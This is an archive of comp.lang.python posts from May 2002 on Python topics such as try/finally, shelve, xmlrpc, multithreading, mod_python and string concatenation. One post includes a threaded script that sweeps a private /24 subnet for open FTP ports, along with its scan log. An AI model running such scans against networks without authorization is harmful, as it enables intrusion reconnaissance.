think of the vairable first, 0 == x sounds like we're testing zero, not x), just to prevent a hidden (but probably warned about, and I jump on those warnings =), logic-error. Or was there a less inane reasoning behind this, I can't remeber. (Been a long time since I heard discussion of this.) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From pinard at iro.umontreal.ca Sat May 4 11:10:26 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 04 May 2002 11:10:26 -0400 Subject: Slight irritation with lumberjacks! :-) In-Reply-To: <Xns9203BA9D99E65lumberjack@216.148.53.85> References: <mailman.1019657853.14965.python-list@python.org> <Xns9203BA9D99E65lumberjack@216.148.53.85> Message-ID: <oqit64x82l.fsf_-_@carouge.sram.qc.ca> [Lumberjack] > "We"? Who else are you speaking for? > So far you seem to be crying alone. > [...] similarly afflicted with low irritant thresholds > [...] do something silly like: > [...] please don't propose a PEP as a "solution"! Who is that `Lumberjack' boy? Maybe someone evaded from the Perl newsgroup, and now looking for another niche to flame all around? I long feared to see the Python community infested by such snakes, but I presume they are just inescapable in the long run, sigh! Food for kill files! :-) OK, done! -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From pinard at iro.umontreal.ca Mon May 6 12:20:55 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 06 May 2002 12:20:55 -0400 Subject: Slight irritation with try/finally indentation In-Reply-To: <Xns92067999CBF19jimpublishingresourc@209.249.90.101> References: <mailman.1019657853.14965.python-list@python.org> <Xns92067999CBF19jimpublishingresourc@209.249.90.101> Message-ID: <oqr8kpnt7c.fsf@titan.progiciels-bpi.ca> > [Fran?ois Pinard] > > [...] > > setup() > > try: > > process() > > finally: > > cleanup() > > [...] [Jim Abrams] > setup() > try: > process() > except: # or other exception handling > pass > cleanup() Hello, Jim. These are not equivalent: if we catch the exception with `except:', it stops propagating. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From pyth at devel.trillke.net Tue May 7 13:51:19 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 7 May 2002 19:51:19 +0200 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: <j4d6w73ooc.fsf@informatik.hu-berlin.de> References: <mailman.1020762312.2425.python-list@python.org> <j4y9ew2l1u.fsf@informatik.hu-berlin.de> <mailman.1020775812.24120.python-list@python.org> <j4d6w73ooc.fsf@informatik.hu-berlin.de> Message-ID: <20020507175119.GN4604@devel.trillke> Martin v. L?wis wrote: > Oleg Broytmann <phd at phd.pp.ru> writes: > > > On Tue, May 07, 2002 at 02:34:53PM +0200, Martin v. L?wis wrote: > > > I wouldn't call the feature 'smart' > > > > modify-in-place? > > Something like that: no-copy-mutables, or some such. > > Of course, this can't work in the general case: If somebody puts a > class instance into the shelve, you cannot expect that all > modifications to the instance are reflected in the shelve. > > So it might be something like > > transparent_modification=(list, dict) i'd suggest something like shelve.returncopies=0 on a global module level. Every time we are fixing "python semantics" rather than introducing new features we should do it on the module level. These keyword-arguments like 'smart' are code-bloat and scattered all over the code. Having a section on top of a python script basically like assert(pythonversion >2.2.4) if pythonversion < 2.3.0: shelve.returncopies=0 somemodule.somefeature=1 is just much nicer and encapsulated. holger From wideopen at shinbiro.com Mon May 20 23:34:09 2002 From: wideopen at shinbiro.com (Haegi Kim) Date: 20 May 2002 20:34:09 -0700 Subject: Problem with getting events from a DCOM server Message-ID: <a4488154.0205201934.3515c1de@posting.google.com> I have a COM server which inherits ConnectableServer class and exposes an interface. It works very well with firing events in InProc Server, but doesn't in Local/Remote Server. The problem seems to be raised from QueryInterface failure, since attempting to <A SimpleConnection>.Connect fails saying that the server doesn't support the interface requested. What do I miss? Please give me an advice. Thanks in advance. From sholden at holdenweb.com Thu May 30 11:51:51 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 30 May 2002 11:51:51 -0400 Subject: User input question References: <ad4ovf$tqev9$1@ID-49758.news.dfncis.de> <ad4po3$toqmj$1@ID-49758.news.dfncis.de> <ad4qbk$sd6$1@wanadoo.fr> <ad4stt$uau73$1@ID-49758.news.dfncis.de> <ad4t64$qli$1@wanadoo.fr> <ad4uq3$trgg5$1@ID-49758.news.dfncis.de> Message-ID: <3YrJ8.51369$%u2.33949@atlpnn01.usenetserver.com> "Ken" <ken at hotmail.com> wrote ... > > "Eric Brunel" <eric.brunel at pragmadev.com> wrote in message > news:ad4t64$qli$1 at wanadoo.fr... > > Ken wrote:> > > > Does this also work for user input from keyboard? > > > > Yep. It's exactly the same thing than in C++. > > -- > > - Eric Brunel <eric.brunel at pragmadev.com> - > > PragmaDev : Real Time Software Development Tools - > http://www.pragmadev.com > > But how do I set a field on the web browser for people to type in? Don't I > need a form for people to type in? If so, how do I define the "method", > "action" etc. from the form header? (eg: "<form name=update > action=search.cgi method=post>") > Ken: The problem seems to be that you are attempting a change of language (C++ to Python) at the same time as a change of environment (desktop to web). You do need to understand a little more about web communications mechanisms as well. There are books that could help you <shameless plug>(see the pydish link below, for example)</shameless plug>, but what you probably need is a good long look at the CGI module and a few examples of dynamic web code in Python. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From brian at sweetapp.com Sun May 5 02:32:39 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 4 May 2002 23:32:39 -0700 Subject: Returning Fault instances in xmlrpc In-Reply-To: <20020505081938.B7298@idi.ntnu.no> Message-ID: <008901c1f3fe$a72e80d0$445d4540@Dell2> Magnus Lie Hetland wrote: > Because of the semantics of xmlrpc. xmlrpc has no notion of > exceptions, but it does have a notion of Fault objects. A rose by any other name :-) > If the xmlrpc library uses exceptions in lieu of Fault objects, but > *also* uses fault objects, and these two behave differently, then it > is moving away from xmlrpc, and in a way the same operation (in the > eyes of xmlrpc) may have two different results. I find that a > pretty serious flaw -- if it is indeed the case. It a Fault object is returned by an XML-RPC function, it is marshaled just like any other instance. It has no special meaning to SimpleXMLRPCServer/xmlrpclib in this context. Instances are marshaled by packaging them as structs. > I'm using SimpleXMLRPCServer. Good choice :-) > Yes, I've noticed that -- and it seems reasonable. I was just confused > that returning Fault objects was legal, but they were turned into > mappings. But I guess SimpleXMLRPCServer may allow non-xmlrpc return > values in general, perhaps. See above. > > The xmlrpclib client code raises xmlrpclib.Fault objects in response to > > XML-RPC faults. > > Yes, but not if you return them from a SimpleXMLRPCServer, because > then they are transformed into something else... I guess that's what I > find odd. But if this is just the standard behaviour for returning > instances, I guess it's not that illogical. It is completely rational :-) Cheers, Brian From andymac at bullseye.apana.org.au Thu May 30 07:13:11 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Thu, 30 May 2002 22:13:11 +1100 (edt) Subject: PySlang for Python 2.2.1? In-Reply-To: <283adf56.0205290848.46816a35@posting.google.com> Message-ID: <Pine.OS2.4.32.0205302211250.1638-100000@tenring.andymac.org> On 29 May 2002, Kevin Dahlhausen wrote: > Does anybody have a compiled version of this? Woody, an outliner > based on python, requires this and I'd like to get it back up running. As Python has been ported to a wide variety of platforms, knowing what platform you want the binary for might improve your chances of success... -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From shalehperry at attbi.com Wed May 8 12:20:42 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 08 May 2002 09:20:42 -0700 (PDT) Subject: Comments In-Reply-To: <NCBBLFCOHHDIKCAFGCFBKEMFKOAA.marklists@mceahern.com> Message-ID: <XFMail.20020508092042.shalehperry@attbi.com> On 08-May-2002 Mark McEahern wrote: > [Rajat Chopra] >> Does anyone know if Python supports multi-line comments? I believe Java >> and C++ (and even non-ANSI C) have /* ... */ for multi-line. Does Python >> have anything comparable? > > Short answer: No. > > Long answer: > > Use the triple-quoted string; e.g., > > def add(x, y): > """Return the sum of x and y.""" > > """ > Note: The first string in a method is considered the docstring. > This here > is effectively > a multi-line > comment. > Fancy, neh? > """ > return x + y > Sure, but comments are basically free whereas the above creates an anonmymous string which has to be garbage collected. Most scripting languages only support single line comments (usually with #). /* * I am ANSI C, hear me fly! * and FLY! */ is not all that different from # blah # blah # blah if you need the visual difference, use 2 #'s. ## blah ## blah ## blah From Gabe.Newcomb at noetix.com Wed May 22 18:28:20 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Wed, 22 May 2002 15:28:20 -0700 Subject: urllib2 and cookies Message-ID: <0C7CA8D8DF75494EB09AB6016990107F016F5CFA@NOXMAIL.noetixad.com> Anybody out there know how to make use of cookies when executing urllib2.urlopen()? I need to simulate browser sessions... Thanks in advance (-ly yours), Gabe Newcomb Software Test Automation Engineer 425.372.2732 Noetix Corporation www.noetix.com From adalke at mindspring.com Thu May 9 13:29:04 2002 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 9 May 2002 11:29:04 -0600 Subject: "a better input" Message-ID: <035401c1f77f$04927960$0301a8c0@josiah.dalkescientific.com> David LeBlanc: >Has "self" become "this" in cvs? ;-> Ack! All I did was touch a little bit of C++ yesterday. First time in years, honest gov'n'r! And yet I can't tell the difference between a 'self' and a 'this'. >True and false are released in 2.2.1 *sigh* and now I'm like so 1 month ago. Next thing you know I'll start using 1.5.2. I suppose you're also going to tell me that [].append(1,2) no longer works? :) Andrew From rune.hansen at viventus.no Tue May 21 06:16:43 2002 From: rune.hansen at viventus.no (Rune Hansen) Date: Tue, 21 May 2002 12:16:43 +0200 Subject: asyncore sockets and proxy References: <Dd6G8.2917$_15.76984@news4.ulv.nextra.no> <83elg6pfk4.fsf@panacea.canonical.org> Message-ID: <acd69c$e00$1@oslo-nntp.eunet.no> Ah, I'm busted. I've fully demonstrated that I have no idea of what I'm even asking for :-) To be quite honest, I do not know what kind of proxy my potentional users might have. Some users will be behind a firewall/proxy where all traffic must go through the proxy. What I do know is that I'm using TCP sockets (asyncore.create_socket(socket.AF_INET, socket.SOCK_STREAM)) .. and that I so far haven't been able to dig up any information on how to make the sockets use a proxy. I would be very grateful for any help or information you could give. regards /rune Kragen Sitaker wrote: > Rune Hansen <rune.hansen at viventus.no> writes: >> I've got a streaming server/client setup programmed with asycore. The >> client connects to the server on port 10002 and holds the connection >> forever. This is all well until one introduces a proxy... >> Is it possible to make such a connetion through a proxy? > > Depends on the proxy. Can you be more specific? I guess you're using > TCP? Is it an HTTP proxy? Tends to work pretty well with HTTP > proxies, but sometimes they buffer up several kilobytes and won't > flush it until they receive more. > >> Is it possible to configure asyncore sockets to use a proxy for the >> connection? > > A Socks proxy, a term proxy, a NAT, an HTTP proxy, or what? From aahz at pythoncraft.com Mon May 20 09:23:13 2002 From: aahz at pythoncraft.com (Aahz) Date: 20 May 2002 09:23:13 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: <acatc1$gde$1@panix1.panix.com> In article <87sn4n6gz9.fsf at kursk.kassube.de>, Nils Kassube <nika at kassube.de> wrote: >"Rob Hall" <bloke at ii dot net> writes: >> >> Can anyone point me to a useful tutorial on multithreading? > >One advice: Avoid multithreading like the plague. > >Multithreading is a very big stability risk if you don't know exactly >what you are doing, i.e. most programmers most of the time. Depends what you're trying to do. If you're trying to create a multi-threaded spider, that's pretty close to dead-simple, particularly if you pay attention to my tutorial slides. GUIs can be a bit more difficult, but using Queue takes care of most problems. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From jafo at tummy.com Sun May 12 18:49:06 2002 From: jafo at tummy.com (Sean Reifschneider) Date: Sun, 12 May 2002 16:49:06 -0600 Subject: Has Red Hat helped or hurt? In-Reply-To: <E176oT5-0000Zb-00@tswings.swing.cluster>; from tanzer@swing.co.at on Sun, May 12, 2002 at 10:12:35AM +0200 References: <20020511151638.B24475@tummy.com> <E176oT5-0000Zb-00@tswings.swing.cluster> Message-ID: <20020512164906.C17712@tummy.com> On Sun, May 12, 2002 at 10:12:35AM +0200, Christian Tanzer wrote: >The compiler they shipped generated a lot of question why Python was >"broken". Sure, and it was fixed quite quickly with errata... If you aren't applying errata to your system, you have bigger problems than the compiler complaining about some symbols during the Python build. IIRC, though, it was actually glibc that was the issue (if you're thinking the symbol undefined problem that I'm thinking of), not the compiler... >In such a case, it would seem reasonable to ship a standard gcc for >normal use and an experimental gcc for the C++ programmers interested >in templates and stuff. Interestingly, they did... The older compiler was called "kgcc"... >IMHO, the distribution should not force a specific Python version to >be the default. I.e., having /usr/bin/python point to 2.x should not >break any number of Red Hat utilities. Forcing the user to specify a >Python version in the #! line or on the command line sucks. Yeah, in a perfect world people would write code that anticipated any problems that future releases of the language might cause... When you figure out how to do this, go ahead an submit a patch to Red Hat... Sean -- Sometimes it pays to stay in bed on Monday, rather than spending the rest of the week debugging Monday's code. -- Christopher Thompson Sean Reifschneider, Inimitably Superfluous <jafo at tummy.com> tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python From tdelaney at avaya.com Thu May 30 19:28:19 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 09:28:19 +1000 Subject: semi-concatenated strings Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A332@natasha.auslabs.avaya.com> > From: Skip Montanaro [mailto:skip at pobox.com] > > long strings. For example, I have code like this that > queries a database: > > rows = self.executesql("select cities.city, state, country" > " from cities, venues, events, addresses" > " where cities.city like %s" > " and events.active = 1" > " and venues.address = addresses.id" > " and addresses.city = cities.id" > " and events.venue = venues.id", > (city,)) [lines undented somewhat to prevent wrapping ...] Just wondering Skip ... why would you write this rather than a triple-quoted string? rows = self.executesql(""" select cities.city, state, country from cities, venues, events, addresses where cities.city like %s and events.active = 1 and venues.address = addresses.id and addresses.city = cities.id and events.venue = venues.id """, (city,)) which to me looks much cleaner and is much easier to modify. Of course, I also would have bound the SQL to a name first ... sql = """ select cities.city, state, country from cities, venues, events, addresses where cities.city like %s and events.active = 1 and venues.address = addresses.id and addresses.city = cities.id and events.venue = venues.id """ rows = self.executesql(sql.strip(), (city,)) I've yet to find a place where I've had a use for concatenating string literals. Tim Delaney From francois.lepoutre at seriatim.com Thu May 9 12:51:05 2002 From: francois.lepoutre at seriatim.com (François Lepoutrre) Date: Thu, 9 May 2002 17:51:05 +0100 Subject: mod_python , mod_snake References: <3cd99770@news.barak.net.il> Message-ID: <abe5t6$ec4$1@suaar1ab.prod.compuserve.com> On Windows, only mod_python will run. Sometimes plain cgi is fast enough! I run mod_python on win32 here. Speed is fine (it's really superb on linux). mod_python/win32 runs nicely in spite of an annoying little memory leak. Be aware however that mod_python and apache are "threaded" on win32. If you wish to keep python structures or database handles in cache for sheer speed, you will need to develop threadsafe routines. Sure it it simpler to develop linux-based mod_python apps. But installing a threadless python+mod_python on linux require admin skills. Alternatives for fast cgi development on windows include webware and xitami. In case you want the flexibility and great programming model of mod_python, read the pdf at their site. You should be able to manage with the mod_python documentation. I did! A basic example: #! C:\Python21\python.exe ########################################## # handler for plain leakage on win2000 server from mod_python import apache,util ########################################## def handler(req): req.content_type="text/plain" req.send_http_header() req.write("hello world!) return apache.OK Max F. Rotem wrote in message <3cd99770 at news.barak.net.il>... >Hello All ! > >The question is : Maybe anyone can suggest Me how >to use , and with what web server Apache (1.3.x or 2.x) , >mod_python or mod_snake.....? > >I work on Windows 2000 platform. > >Best Regards , >Max F. Rotem > > From Grant_member at newsguy.com Fri May 31 14:26:00 2002 From: Grant_member at newsguy.com (Grant Griffin) Date: 31 May 2002 11:26:00 -0700 Subject: semi-concatenated strings References: <ad5vp6$17kc@drn.newsguy.com> <mailman.1022791249.9251.python-list@python.org> <ad84d70chf@drn.newsguy.com> <mailman.1022863315.9955.python-list@python.org> Message-ID: <ad8f7o017mn@drn.newsguy.com> In article <mailman.1022863315.9955.python-list at python.org>, Rich says... > ... >Here's why I personally like this: > >>>>> '%s' 'x' % (5) >'5x' >>>> '%s' + 'x' % (5) >Traceback (most recent call last): > File "<stdin>", line 1, in ? >TypeError: not all arguments converted So it looks like the implicit "+" operator has a higher precedence than the explicit "+" operator. (BTW, who knew that a language that doesn't have "++" would need two string concatenation operators?) Perhaps that was just an example, but what was so bad about?: >>> '%sx' % (5,) # don't hesitate to add trailing "," here <wink> '5x' or even?: >>> ('%s' + 'x') % (5,) '5x' the-only-thing-worse-than-using-explicit-operators-is -explicitly-specifying-their-order-<wink>-ly y'rs, =g2 _________________________________________________________________________ Grant R. Griffin g2 at dspguru.com Publisher of dspGuru http://www.dspguru.com Iowegian International Corporation http://www.iowegian.com From llchen223 at hotmail.com Sun May 12 00:56:25 2002 From: llchen223 at hotmail.com (Lei Chen) Date: 11 May 2002 21:56:25 -0700 Subject: [Newbie Question] Matching directory content with variable References: <h1ajba.ni5.ln@news.marcus1.de> Message-ID: <de6c123c.0205112056.1567864a@posting.google.com> Look into glob.glob() Cheers Marcus Klein <marcus1 at marcus1.de> wrote in message news:<h1ajba.ni5.ln at news.marcus1.de>... > Hi out there, > > I am trying to match a directory content with a variable to avoid > overwriting an existing file and it does not work. > > Maybe someone knows why ? > > --8<-- > for f in TOGET: > print "getting remote file ", f > fname = PATHTOFILE + f > > lfiles = os.listdir(PATHTOFILE) > lfile = re.compile(f, re.M).match(lfiles, 1) > if lfile: > print "Warning: File exists locally" > exit(5) > -->8-- > > leads to > > --8<-- > Traceback (most recent call last): > File "py/getftp.py", line 33, in ? > lfile = re.compile(f, re.M).match(lfiles, 1) > TypeError: expected string or buffer > -->8-- > > > thanx in advance, > > marcus From kragen at pobox.com Wed May 29 14:50:45 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 29 May 2002 14:50:45 -0400 Subject: multidimensional arrays from python to C References: <c3835e5f.0205290827.2e7ede69@posting.google.com> <j38J8.67582$Gs.6230913@bin5.nnrp.aus1.giganews.com> Message-ID: <83adqirdoa.fsf@panacea.canonical.org> "Terry Reedy" <tjreedy at udel.edu> writes: > "Chris Fonnesbeck" <spam at fisher.forestry.uga.edu> wrote in message > news:c3835e5f.0205290827.2e7ede69 at posting.google.com... > > parray = (PyArrayObject *)(PyEval_CallObject(pmeth,pargs)); > > > > How do I get these values into Fall? > > In C terms, the Python array is an array of arrays of ... arrays of > pointers to PyObjects containing float (double) values. So you would > have to copy. Perhaps Numerical Python would be of assistance to you. No, you're wrong. He's using Numerical Python already; that's why he has a PyArrayObject. From wurmy at earthlink.net Sun May 26 19:26:00 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Sun, 26 May 2002 23:26:00 GMT Subject: len() and __len__ References: <slrnaf16hh.h0.gruesome@muyc.omput.er> <Xns921AB944F149Acliechtigmxnet@62.2.16.82> Message-ID: <3CF17033.72F7DB3F@earthlink.net> Chris Liechti wrote: > but you can do > >>> listoflength = map(len, somelist) > > which isn't that simple with __len__(): > > >>> listoflength = [] > >>> for x in somelist: > ... listoflength.append(x.__len__()) Or just >>> map(lambda x: x.__len__(), ["foo", "bar", "bogus"]) [3, 3, 5] I agree that len() is cleaner though. -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From s.thuriez at laposte.net Thu May 9 08:41:44 2002 From: s.thuriez at laposte.net (sebastien) Date: 9 May 2002 05:41:44 -0700 Subject: no buffer space available error References: <b1ab591.0205080942.11319537@posting.google.com> <mailman.1020882313.2436.python-list@python.org> Message-ID: <b1ab591.0205090441.1edca9e3@posting.google.com> Hi, This is the code that I used. After this there is the log file with all the connexions... import httplib import select import sys, string, os import socket from ftplib import * import time import thread from pprint import pprint import threading import timeoutsocket timeoutsocket.setDefaultSocketTimeout(5) BUFSIZE = 1024 FTP_PORT = 21 FTP_DATA_PORT = FTP_PORT - 1 FTP_DATA_PORT = FTP_DATA_PORT + 50000 ftp_existe=[] debug=[] error_control=[] no_buffer_space_available=[] warning=[] global warning global timeout def control(hostname): global ftp_existe reponse='non' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setblocking(0) ensemble=[] ensemble.append(hostname) ensemble.append(FTP_PORT) print "connect : ",hostname try : s.connect((hostname,FTP_PORT)) except socket.error, why : debug.append((hostname,why[1])) if why[1] <> "The socket operation could not complete without blocking": print 'cannot connect...',hostname, "why = ",why[1] potential_readers=[] potential_readers.append(s.fileno()) potential_writers=[] potential_writers.append(s.fileno()) potential_errs=[] time_out=2 #print 'juste avant le selectselect' ready_to_read, ready_to_write, in_error = select.select(potential_readers, potential_writers, potential_errs,time_out) if len(ready_to_read)<> 0 or len(ready_to_write) <> 0 : print 'control : response from : ', hostname, " on port ",FTP_PORT reponse='oui' if hostname in ftp_existe: print "allreday exits" pass else: debug.append((hostname,"ftp server")) ftp_existe.append(hostname) try: s.close() except: pass return reponse def maine(): global ftp_existe, identifiant_thread global timeout global warning ftp_existe=[] max_thread=10 FTP_port=21 number_thread=1 for indice in range(1,255): #to scan the network adresse="192.168.15."+str(indice) if number_thread>max_thread: print "question_ftp_threaded : number thread > max thread :sleeping" time.sleep(2) number_thread=0 else: number_thread=number_thread+1 try : thread.start_new_thread(control,(adresse,)) except: print "pas de lancement thread " print "ftp server found :", ftp_existe file=open ("c:\debug.txt","w") for hostname, error_message in debug: file.write(hostname+ " "+error_message+"\n") file.close() return def main() : debug=[] ftp_existe=[] maine() print "fin" main() The debug file that was generated. 192.168.15.2 The socket operation could not complete without blocking 192.168.15.7 The socket operation could not complete without blocking 192.168.15.6 The socket operation could not complete without blocking 192.168.15.5 The socket operation could not complete without blocking 192.168.15.4 The socket operation could not complete without blocking 192.168.15.3 The socket operation could not complete without blocking 192.168.15.1 The socket operation could not complete without blocking 192.168.15.8 The socket operation could not complete without blocking 192.168.15.9 The socket operation could not complete without blocking 192.168.15.10 The socket operation could not complete without blocking 192.168.15.11 The socket operation could not complete without blocking 192.168.15.12 The socket operation could not complete without blocking 192.168.15.13 The socket operation could not complete without blocking 192.168.15.14 The socket operation could not complete without blocking 192.168.15.15 The socket operation could not complete without blocking 192.168.15.16 The socket operation could not complete without blocking 192.168.15.17 The socket operation could not complete without blocking 192.168.15.18 The socket operation could not complete without blocking 192.168.15.19 The socket operation could not complete without blocking 192.168.15.20 The socket operation could not complete without blocking 192.168.15.22 The socket operation could not complete without blocking 192.168.15.21 The socket operation could not complete without blocking 192.168.15.24 The socket operation could not complete without blocking 192.168.15.25 The socket operation could not complete without blocking 192.168.15.23 The socket operation could not complete without blocking 192.168.15.26 The socket operation could not complete without blocking 192.168.15.27 The socket operation could not complete without blocking 192.168.15.28 The socket operation could not complete without blocking 192.168.15.30 The socket operation could not complete without blocking 192.168.15.29 The socket operation could not complete without blocking 192.168.15.31 The socket operation could not complete without blocking 192.168.15.32 The socket operation could not complete without blocking 192.168.15.33 The socket operation could not complete without blocking 192.168.15.34 The socket operation could not complete without blocking 192.168.15.36 The socket operation could not complete without blocking 192.168.15.37 The socket operation could not complete without blocking 192.168.15.38 The socket operation could not complete without blocking 192.168.15.39 The socket operation could not complete without blocking 192.168.15.40 The socket operation could not complete without blocking 192.168.15.41 The socket operation could not complete without blocking 192.168.15.43 The socket operation could not complete without blocking 192.168.15.42 The socket operation could not complete without blocking 192.168.15.35 The socket operation could not complete without blocking 192.168.15.44 The socket operation could not complete without blocking 192.168.15.45 The socket operation could not complete without blocking 192.168.15.46 The socket operation could not complete without blocking 192.168.15.48 The socket operation could not complete without blocking 192.168.15.49 The socket operation could not complete without blocking 192.168.15.47 The socket operation could not complete without blocking 192.168.15.50 The socket operation could not complete without blocking 192.168.15.51 The socket operation could not complete without blocking 192.168.15.52 The socket operation could not complete without blocking 192.168.15.53 The socket operation could not complete without blocking 192.168.15.54 The socket operation could not complete without blocking 192.168.15.55 The socket operation could not complete without blocking 192.168.15.56 The socket operation could not complete without blocking 192.168.15.57 The socket operation could not complete without blocking 192.168.15.58 The socket operation could not complete without blocking 192.168.15.59 The socket operation could not complete without blocking 192.168.15.60 The socket operation could not complete without blocking 192.168.15.61 The socket operation could not complete without blocking 192.168.15.62 The socket operation could not complete without blocking 192.168.15.63 The socket operation could not complete without blocking 192.168.15.64 The socket operation could not complete without blocking 192.168.15.65 The socket operation could not complete without blocking 192.168.15.66 The socket operation could not complete without blocking 192.168.15.67 The socket operation could not complete without blocking 192.168.15.68 The socket operation could not complete without blocking 192.168.15.69 The socket operation could not complete without blocking 192.168.15.70 The socket operation could not complete without blocking 192.168.15.72 The socket operation could not complete without blocking 192.168.15.73 The socket operation could not complete without blocking 192.168.15.71 The socket operation could not complete without blocking 192.168.15.75 The socket operation could not complete without blocking 192.168.15.74 The socket operation could not complete without blocking 192.168.15.76 The socket operation could not complete without blocking 192.168.15.77 The socket operation could not complete without blocking 192.168.15.78 The socket operation could not complete without blocking 192.168.15.79 The socket operation could not complete without blocking 192.168.15.81 The socket operation could not complete without blocking 192.168.15.80 The socket operation could not complete without blocking 192.168.15.82 The socket operation could not complete without blocking 192.168.15.84 The socket operation could not complete without blocking 192.168.15.83 The socket operation could not complete without blocking 192.168.15.85 The socket operation could not complete without blocking 192.168.15.86 The socket operation could not complete without blocking 192.168.15.87 The socket operation could not complete without blocking 192.168.15.88 The socket operation could not complete without blocking 192.168.15.89 The socket operation could not complete without blocking 192.168.15.90 The socket operation could not complete without blocking 192.168.15.91 The socket operation could not complete without blocking 192.168.15.92 The socket operation could not complete without blocking 192.168.15.93 The socket operation could not complete without blocking 192.168.15.94 The socket operation could not complete without blocking 192.168.15.102 The socket operation could not complete without blocking 192.168.15.95 The socket operation could not complete without blocking 192.168.15.103 The socket operation could not complete without blocking 192.168.15.104 The socket operation could not complete without blocking 192.168.15.105 The socket operation could not complete without blocking 192.168.15.106 The socket operation could not complete without blocking 192.168.15.96 The socket operation could not complete without blocking 192.168.15.97 The socket operation could not complete without blocking 192.168.15.98 The socket operation could not complete without blocking 192.168.15.99 The socket operation could not complete without blocking 192.168.15.100 The socket operation could not complete without blocking 192.168.15.101 The socket operation could not complete without blocking 192.168.15.102 ftp server 192.168.15.103 ftp server 192.168.15.105 ftp server 192.168.15.107 The socket operation could not complete without blocking 192.168.15.108 The socket operation could not complete without blocking 192.168.15.109 The socket operation could not complete without blocking 192.168.15.110 The socket operation could not complete without blocking 192.168.15.111 The socket operation could not complete without blocking 192.168.15.112 The socket operation could not complete without blocking 192.168.15.113 The socket operation could not complete without blocking 192.168.15.115 No buffer space available 192.168.15.114 No buffer space available 192.168.15.116 No buffer space available 192.168.15.117 No buffer space available 192.168.15.118 No buffer space available 192.168.15.111 ftp server 192.168.15.107 ftp server 192.168.15.108 ftp server 192.168.15.120 The socket operation could not complete without blocking 192.168.15.121 The socket operation could not complete without blocking 192.168.15.119 The socket operation could not complete without blocking 192.168.15.122 No buffer space available 192.168.15.123 No buffer space available 192.168.15.124 No buffer space available 192.168.15.125 No buffer space available 192.168.15.127 No buffer space available 192.168.15.126 No buffer space available 192.168.15.128 No buffer space available 192.168.15.129 No buffer space available 192.168.15.130 No buffer space available 192.168.15.132 No buffer space available 192.168.15.131 No buffer space available 192.168.15.133 No buffer space available 192.168.15.134 No buffer space available 192.168.15.135 No buffer space available 192.168.15.136 No buffer space available 192.168.15.137 No buffer space available 192.168.15.138 No buffer space available and so on ..... Regards. Sebastien Michael Gilfix <mgilfix at eecs.tufts.edu> wrote in message news:<mailman.1020882313.2436.python-list at python.org>... > Can you post some more code? I'm having a hard time figuring > out just what your problem (what are you doing before) and can > you post the trace? > > -- Mike > > On Wed, May 08 @ 10:42, sebastien wrote: > > Hi, > > > > I am trying a program that scan all the machines in the network that are ftp server. > > After about 50 to 100 scan, I get the message : > > > > no buffer space available. > > > > import timeoutsocket > > timeoutsocket.setDefaultSocketTimeout(5) > > BUFSIZE = 1024 > > FTP_PORT = 21 > > FTP_DATA_PORT = FTP_PORT - 1 > > FTP_DATA_PORT = FTP_DATA_PORT + 50000 > > > > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > > s.setblocking(0) > > > > try : > > s.connect((hostname,FTP_PORT)) > > except socket.error, why : > > print 'cannot connect...',why[1] > > > > > > This is embedded in a function and I pass the hostname that I want to be tested. > > > > > > What do I do wrong ? As I get the message can I flush the buffer ? > > I am running python 2.1.1 on Windows Me and NT. > > > > Regards, > > Sebastien. > > -- > > http://mail.python.org/mailman/listinfo/python-list > `-> (s.thuriez) From fperez528 at yahoo.com Tue May 21 00:16:35 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 20 May 2002 22:16:35 -0600 Subject: PEP 218 Re: ANN: set-0.1 module available References: <mailman.1021563929.29487.python-list@python.org> <3CE55E8B.1B80EBE3@alcyone.com> <mailman.1021671870.10847.python-list@python.org> <ac4058$cib$1@peabody.colorado.edu> <mailman.1021688489.15078.python-list@python.org> <ac4rln$s67$1@peabody.colorado.edu> <mailman.1021706791.7609.python-list@python.org> <ac53d8$2g5$1@peabody.colorado.edu> <83it5im981.fsf@panacea.canonical.org> Message-ID: <acchsl$ats$1@peabody.colorado.edu> Kragen Sitaker wrote: >> by not forcing the performance penalty. Simply because it makes the >> language more scalable and worry-free. > > Immutable objects need to be copied to effect small changes; mutable > objects can't be safely shared between code written by people who > don't communicate, and must therefore be copied at every library > boundary. Which one is a larger performance penalty depends on your > application. Most applications benefit from a mixture of some mutable > and some immutable objects, although as jb points out, the semantics > of immutable objects can be implemented efficiently with > behind-the-scenes mutation at the cost of some compiler complexity. > > Mutability tends toward surprising interactions and aliasing bugs, of > course. Saying it makes the language more "worry-free" is the > farthest thing from the truth. Good 